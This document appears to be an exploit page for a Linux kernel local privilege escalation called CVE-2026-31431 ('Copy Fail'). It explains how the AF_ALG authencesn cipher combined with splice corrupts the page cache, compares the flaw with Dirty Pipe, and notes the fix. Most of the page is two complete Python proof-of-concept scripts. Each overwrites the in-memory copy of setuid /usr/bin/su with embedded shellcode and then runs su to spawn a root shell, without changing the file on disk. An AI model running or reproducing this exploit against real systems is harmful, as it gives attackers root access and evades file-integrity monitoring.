Exploits

CVE-2026-31431

Linux privilege escalation 2026

The core bug: authencesn + splice + page cache

The Linux kernel has an interface called AF_ALG that allows userspace to perform cryptographic operations via sockets. The bug lives in how the authencesn(hmac(sha256), cbc(aes)) template handles "in-place" operations.

The vulnerable path step by step:

  1. splice() moves data from a file into the AF_ALG socket without copying — it passes direct references to the file's page cache pages.

  2. In in-place mode, the kernel uses those same pages as the destination buffer for the AEAD operation.

  3. authencesn internally does a scratch copy of AAD bytes 4–7 into dst[assoclen + cryptlen]. Since dst points into the page cache, those 4 bytes land directly in the file's page cache.

  4. AEAD authentication fails (EBADMSG) — but the write already happened.

Why it's exploitable

  • The page cache is what the kernel uses to execute binaries. Modifying it is equivalent to modifying a binary in memory, without ever touching disk.
  • It doesn't trigger inotify, filesystem auditing, or IMA/EVM unless explicitly configured to verify at execution time.
  • There is no race condition — the write is fully deterministic.

What the PoC does

readable file (e.g. /usr/bin/su)
        ↓ splice (zero-copy)
     page cache  ←──── 4-byte controlled write (AAD[4:7])

   kernel executes it → shell as root

It overwrites the page cache of su (which is setuid-root) with a minimal ELF that calls execve("/bin/sh"), then executes su.


Why it's similar but different from Dirty Pipe

Dirty Pipe (CVE-2022-0847)Copy Fail (CVE-2026-31431)
Vectorpipe + spliceAF_ALG + splice
Race conditionNoNo
Arbitrary writeYes4 bytes per call
Needs writable fileNoNo
Affects page cacheYesYes

The fix

Reverting commit 72548b093ee3 — forces AEAD operations back to out-of-place, keeping page cache pages out of the kernel's writable scatterlists.

Poc

Proof of Concept Python >= 3.10

#!/usr/bin/env python3
# Deobfuscated PoC for CVE-2026-31431 ("copy-fail").
#
# Original: copy_fail_exp.py (one-letter aliases, raw numeric constants, hex blobs).
# This file: same behavior, named constants, explanatory comments.
#
# Bug class: page-cache corruption via AF_ALG splice. The authencesn AEAD
# does an internal scratch copy of bytes 4..7 of the AAD into the destination
# buffer at dst[assoclen + cryptlen]. The vulnerable AF_ALG in-place path
# uses the spliced page-cache page as the destination buffer, so that scratch
# copy lands in the page cache instead of in private kernel memory.
# Result: 4 attacker-chosen bytes per call, written to a chosen offset in the
# in-memory copy of a file the attacker only has read access to.
# Used here to overwrite /usr/bin/su (setuid-root) with a 160-byte static ELF
# that runs /bin/sh as root. The on-disk file is never modified.

import os
import socket
import struct
import zlib

# --- Crypto parameters chosen to reach the buggy code path -------------------
#
# 40-byte AEAD key blob for authenc-style algorithms:
#   rtattr header (4B): rta_len=8, rta_type=1 (CRYPTO_AUTHENC_KEYA_PARAM)
#   enckeylen (4B BE): 16  -> AES-128 split
#   key bytes (32B):   16B HMAC key + 16B AES key, all zeros
# Zero key/IV: not for cryptographic reasons - just the laziest way to keep
# the kernel from rejecting the request before we reach the bug.
AEAD_KEY = bytes.fromhex("0800010000000010" + "00" * 32)

AAD_LEN   = 8                                  # 8-byte AAD: bytes 0..3 are filler, bytes 4..7 are the payload that gets copied into page cache
AUTH_SIZE = 4                                  # AEAD tag length; affects cryptlen and so the offset of the scratch write, not its size (size is hardcoded to 4 by authencesn)
OP        = socket.ALG_OP_DECRYPT
IV        = struct.pack("<I", 16) + b"\x00" * 16  # struct af_alg_iv: ivlen=16, then 16 zero bytes

TARGET_PATH = "/usr/bin/su"


# 160-byte hand-rolled static x86-64 ELF. Entry point is shellcode that does:
#     setreuid(0, 0); execve("/bin/sh", NULL, NULL); exit(0);
# Stored zlib-compressed because the original PoC did the same.
PATCH_ELF = zlib.decompress(bytes.fromhex(
    "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
    "209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
    "c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))


def overwrite_chunk(file_fd: int, offset: int, four_bytes: bytes) -> None:
    """Overwrite 4 bytes at `offset` in the page-cache copy of file_fd."""
    sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    # authencesn = authenc with IPsec extended sequence numbers. Required for
    # the bug: it is the AEAD whose internal scratch copy of AAD[4:8] into
    # dst[assoclen + cryptlen] is what writes into the spliced page. Other
    # AEADs like gcm(aes) do not have that scratch write and cannot be used.
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, AEAD_KEY)
    sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, AUTH_SIZE)

    op_sock, _ = sock.accept()

    # 8-byte AAD. Bytes 0..3 ("AAAA") are filler. Bytes 4..7 are what gets
    # copied verbatim into the page cache.
    op_sock.sendmsg(
        [b"AAAA" + four_bytes],
        [
            (socket.SOL_ALG, socket.ALG_SET_IV,            IV),
            (socket.SOL_ALG, socket.ALG_SET_OP,            struct.pack("<I", OP)),
            (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, struct.pack("<I", AAD_LEN)),
        ],
        socket.MSG_MORE,
    )

    # Splice picks splice_len bytes from the file into the pipe as page
    # references, then into the AF_ALG socket. The in-place AEAD path uses
    # those same pages as the destination buffer. The scratch write at
    # dst[assoclen + cryptlen] = dst[offset + 8] lands at file offset `offset`.
    splice_len = offset + 4

    pipe_r, pipe_w = os.pipe()
    os.splice(file_fd, pipe_w, splice_len, offset_src=0)
    os.splice(pipe_r, op_sock.fileno(), splice_len)

    try:
        op_sock.recv(8 + offset)
    except OSError:
        pass

    os.close(pipe_r)
    os.close(pipe_w)
    op_sock.close()
    sock.close()


def main() -> None:
    fd = os.open(TARGET_PATH, os.O_RDONLY)
    try:
        for i in range(0, len(PATCH_ELF), AUTH_SIZE):
            overwrite_chunk(fd, i, PATCH_ELF[i:i + AUTH_SIZE])
    finally:
        os.close(fd)

    # TARGET_PATH is setuid-root. The kernel will exec our patched page-cache
    # version, which spawns /bin/sh as uid 0.
    os.system(TARGET_PATH)


if __name__ == "__main__":
    main()

Proof of Concept Python < 3.10

#!/usr/bin/env python3
# Deobfuscated PoC for CVE-2026-31431 ("copy-fail") - Python 3.9 compatible
#
# Changes from original:
#   - Replaced os.splice() with a ctypes-based splice() implementation
#   - Minor cleanups and comments

import os
import socket
import struct
import zlib
import ctypes
import ctypes.util

# --- Load libc and define splice syscall -----------------------------------
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)

# splice(2) signature
splice = libc.splice
splice.argtypes = [
    ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),  # fd_in, off_in
    ctypes.c_int, ctypes.POINTER(ctypes.c_longlong),  # fd_out, off_out
    ctypes.c_size_t,                                  # len
    ctypes.c_uint                                    # flags
]
splice.restype = ctypes.c_ssize_t

SPLICE_F_MOVE = 1
SPLICE_F_NONBLOCK = 2
SPLICE_F_MORE = 4
SPLICE_F_GIFT = 8

def do_splice(fd_in: int, off_in: int, fd_out: int, off_out: int, length: int, flags: int = SPLICE_F_MOVE) -> int:
    """Python wrapper for the splice(2) syscall."""
    off_in_ptr = ctypes.pointer(ctypes.c_longlong(off_in)) if off_in is not None else None
    off_out_ptr = ctypes.pointer(ctypes.c_longlong(off_out)) if off_out is not None else None

    ret = splice(fd_in, off_in_ptr, fd_out, off_out_ptr, length, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret


# --- Crypto parameters (unchanged) ----------------------------------------
AEAD_KEY = bytes.fromhex("0800010000000010" + "00" * 32)
AAD_LEN = 8
AUTH_SIZE = 4
OP = socket.ALG_OP_DECRYPT
IV = struct.pack("<I", 16) + b"\x00" * 16

TARGET_PATH = "/usr/bin/su"

PATCH_ELF = zlib.decompress(bytes.fromhex(
    "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
    "209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
    "c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))


def overwrite_chunk(file_fd: int, offset: int, four_bytes: bytes) -> None:
    """Overwrite 4 bytes at `offset` in the page-cache copy of the file."""
    sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, AEAD_KEY)
    sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, AUTH_SIZE)

    op_sock, _ = sock.accept()

    # 8-byte AAD: first 4 bytes filler, next 4 bytes = payload that gets copied
    op_sock.sendmsg(
        [b"AAAA" + four_bytes],
        [
            (socket.SOL_ALG, socket.ALG_SET_IV, IV),
            (socket.SOL_ALG, socket.ALG_SET_OP, struct.pack("<I", OP)),
            (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, struct.pack("<I", AAD_LEN)),
        ],
        socket.MSG_MORE,
    )

    splice_len = offset + 4
    pipe_r, pipe_w = os.pipe()

    try:
        # Splice from file → pipe (using page cache pages)
        do_splice(file_fd, 0, pipe_w, None, splice_len)

        # Splice from pipe → AF_ALG socket (triggers the in-place path)
        do_splice(pipe_r, None, op_sock.fileno(), None, splice_len)
    finally:
        os.close(pipe_r)
        os.close(pipe_w)

    try:
        op_sock.recv(8 + offset)
    except OSError:
        pass

    op_sock.close()
    sock.close()


def main() -> None:
    fd = os.open(TARGET_PATH, os.O_RDONLY)
    try:
        for i in range(0, len(PATCH_ELF), AUTH_SIZE):
            chunk = PATCH_ELF[i:i + AUTH_SIZE]
            # Pad with zeros if the last chunk is shorter than 4 bytes
            if len(chunk) < 4:
                chunk = chunk + b"\x00" * (4 - len(chunk))
            overwrite_chunk(fd, i, chunk)
    finally:
        os.close(fd)

    print(f"[+] Patched page-cache copy of {TARGET_PATH}")
    print("[+] Executing patched su (should spawn root shell)")
    os.system(TARGET_PATH)


if __name__ == "__main__":
    main()